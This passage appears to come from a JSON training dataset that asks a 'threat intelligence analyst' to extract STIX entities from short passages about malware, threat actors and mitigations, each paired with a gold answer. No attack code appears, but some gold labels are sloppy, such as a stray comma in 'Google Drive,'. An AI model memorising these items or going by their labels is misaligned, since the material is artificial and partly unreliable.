    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCCBkdr can use a DGA for Fallback Channels if communications with the primary command and control server are lost.\n",
    "output": "<entities>CCBkdr|DGA for Fallback Channels|command and control server</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMispadu is a banking trojan written in Delphi that was first observed in 2019 and uses a Malware-as-a-Service (MaaS) business model.\n",
    "output": "<entities>Mispadu|Delphi</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nEscobar is an Android banking trojan, first detected in March 2021, believed to be a new variant of AbereBot.\n",
    "output": "<entities>Escobar|Android|AbereBot</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nOceanSalt is a Trojan that was used in a campaign targeting victims in South Korea, United States, and Canada. OceanSalt shares code similarity with SpyNote RAT, which has been linked to APT1.\n",
    "output": "<entities>OceanSalt|SpyNote RAT|APT1|South Korea|United States|Canada</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCallMe is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell. \n",
    "output": "<entities>CallMe|Apple|Tiny SHell|Apple OSX</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPeppy can use HTTP to communicate with C2.\n",
    "output": "<entities>Peppy|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBlue Mockingbird has used Mimikatz to retrieve credentials from LSASS memory.\n",
    "output": "<entities>Mimikatz|Blue Mockingbird|LSASS</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSpicyOmelette is a JavaScript based remote access tool that has been used by Cobalt Group since at least 2018.\n",
    "output": "<entities>SpicyOmelette|Cobalt Group|JavaScript</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nzwShell has established persistence by adding itself as a new service.\n",
    "output": "<entities>zwShell</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nEKANS uses standard encryption library functions to encrypt files.\n",
    "output": "<entities>EKANS</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMonitor systems and domain logs for unusual credential logon activity. Prevent access to Valid Accounts. Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. \n\nEnable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons.\n",
    "output": "<entities>Microsoft|HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy|Windows|Monitor systems and domain logs for unusual credential logon activity.|Prevent access to Valid Accounts. Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group.|Enable pass the hash mitigations to apply UAC restrictions to local accounts on network logon.</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRclone is a command line program for syncing files with cloud storage services such as Dropbox, Google Drive, Amazon S3, and MEGA. Rclone has been used in a number of ransomware campaigns, including those associated with the Conti and DarkSide Ransomware-as-a-Service operations.\n",
    "output": "<entities>Rclone|Dropbox|Google Drive,|Amazon S3|MEGA|Conti|DarkSide</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRemsec is a modular backdoor that has been used by Strider and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua. \n",
    "output": "<entities>Remsec|Strider|Lua</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nIceApple is a modular Internet Information Services (IIS) post-exploitation framework, that has been used since at least 2021 against the technology, academic, and government sectors.\n",
    "output": "<entities>IceApple|Internet Information Services (IIS)</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nLurid can compress data before sending it.\n",
    "output": "<entities>Lurid</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\n\u2022 Initial access: The attackers deployed the following China Chopper4, JspSpy5 webshells to obtain a foothold on the victim\u2019s network that they used to execute commands to upload files to the target machines. \u2022 Reconnaissance, execution and theft of credentials:\n",
    "output": "<entities>China Chopper4|JspSpy5</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nViperRAT is sophisticated surveillanceware that has been in operation since at least 2015 and was used to target the Israeli Defense Force.\n",
    "output": "<entities>ViperRAT|Israeli Defense Force|Israeli</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual 